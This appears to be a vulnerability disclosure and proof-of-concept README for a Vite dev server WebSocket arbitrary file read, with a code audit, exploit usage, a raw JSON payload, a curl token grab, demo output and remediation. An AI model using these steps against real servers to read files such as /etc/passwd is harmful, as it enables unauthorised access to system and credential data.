CVE-2026-39363

Vite Dev Server WebSocket Arbitrary File Read Vulnerability

Vulnerability Overview

Attribute	Information
CVE ID	CVE-2026-39363
GHSA ID	GHSA-p9ff-h696-f583
Vulnerability Type	Arbitrary File Read
Affected Component	Vite Dev Server
Affected Versions	Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
CVSS Score	High
Fixed Versions	Vite >= 6.2.3

Vulnerability Principle

Core Issue

The WebSocket fetchModule RPC call in Vite Dev Server contains a security check bypass vulnerability.

Code Audit

Vulnerable Code Location: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070

async function fetchModule(environment, url, importer, options = {}) {
  // ...
  const isFileUrl = url.startsWith("file://");

  // Key vulnerability point: when the URL is file:// or there is no importer
  // resolveId is called directly without performing the isFileServingAllowed check!
  if (isFileUrl || !importer) {
    const resolved = await environment.pluginContainer.resolveId(url);
    if (!resolved) {
      throw new Error(`[vite] cannot find entry point module '${url}'.`);
    }
    url = normalizeResolvedIdToUrl(environment, url, resolved);
  }
  // ...continues processing and returns file content
}

Request Path Comparison

┌─────────────────────────────────────────────────────────────────┐
│                    HTTP Request Path (with security check)       │
├─────────────────────────────────────────────────────────────────┤
│  HTTP GET /@fs/C:/secret.txt                                    │
│         │                                                       │
│         ▼                                                       │
│  ensureServingAccess()                                          │
│         │                                                       │
│         ▼                                                       │
│  isFileServingAllowed()                                         │
│         │                                                       │
│         ▼                                                       │
│  isFileLoadingAllowed() ────> BLOCKED                           │
│  (checks server.fs.allow)                                       │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│                  WebSocket Request Path (bypasses check)        │
├─────────────────────────────────────────────────────────────────┤
│  WebSocket: fetchModule("file://C:/secret.txt")                 │
│         │                                                       │
│         ▼                                                       │
│  fetchModule()                                                  │
│  (isFileUrl || !importer) ───> resolveId directly               │
│         │                                                       │
│         ▼                                                       │
│  loadAndTransform()                                             │
│  isFileLoadingAllowed() ────> depends on fs.allow config        │
│         │                                                       │
│         ▼                                                       │
│  File content returned successfully (if allowed by fs.allow)    │
└─────────────────────────────────────────────────────────────────┘

Key Findings

1. HTTP Path: Passes through multiple layers of checks: ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed

2. WebSocket Path:

   • The fetchModule function does not call isFileServingAllowed
   • The second line of defense, isFileLoadingAllowed in loadAndTransform, is still effective
   • However, if the server.fs.allow configuration is permissive, arbitrary files can be read

Exploitation Conditions

1. Vite Dev Server exposed to the network (e.g., using --host)
2. Permissive server.fs.allow configuration:
   • fs.allow: ['..'] - can read parent directories
   • fs.allow: ['C:/'] - can read the entire C drive
   • fs.strict: false - completely unrestricted
3. wsToken obtainable (by accessing /@vite/client)

Environment Setup

# Clone the repository
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363

# Install dependencies
npm install

# Start Vite Dev Server (using permissive config to demonstrate the vulnerability)
npm run dev

Exploitation

Method 1: Using the Python Script

# Basic usage (auto-detects port)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"

# Read files outside the project
python exp.py -t localhost -p 5173 -f "E:/secret.txt"

# Specify token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"

Method 2: Using the Node.js POC

# Obtain wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'

# Run the POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"

Manual Exploitation Steps

1. Obtain the WebSocket Token:

curl -s "http://target:5173/@vite/client" | grep wsToken

2. WebSocket Connection:

const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');

3. Send the payload:

{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "id": "invoke_0",
    "name": "fetchModule",
    "data": ["file:///C:/Windows/win.ini"]
  }
}

Demonstration Output

============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini

[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])

============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

============================================================

File Structure

CVE-2026-39363/
├── README.md           # Vulnerability analysis document
├── exp.py              # Python exploit script
├── poc.js              # Node.js POC
├── vite.config.js      # Vite configuration file (for demonstration)
├── package.json        # Project configuration
├── src/                # Source code directory
│   ├── main.js
│   ├── counter.js
│   └── style.css
├── public/             # Static assets
└── index.html          # Entry HTML

Remediation Recommendations

1. Upgrade Vite

npm update vite
# or
npm install vite@latest

2. Restrict server.fs.allow

// vite.config.js
export default defineConfig({
  server: {
    fs: {
      strict: true,
      allow: ['.']  // Only allow the project root directory
    }
  }
})

3. Do Not Expose the Dev Server

• Do not run the Dev Server in production environments
• Avoid using --host to expose the service
• Use a firewall to restrict access

References

• GHSA-p9ff-h696-f583
• CVE-2026-39363
• Vite Documentation

Disclaimer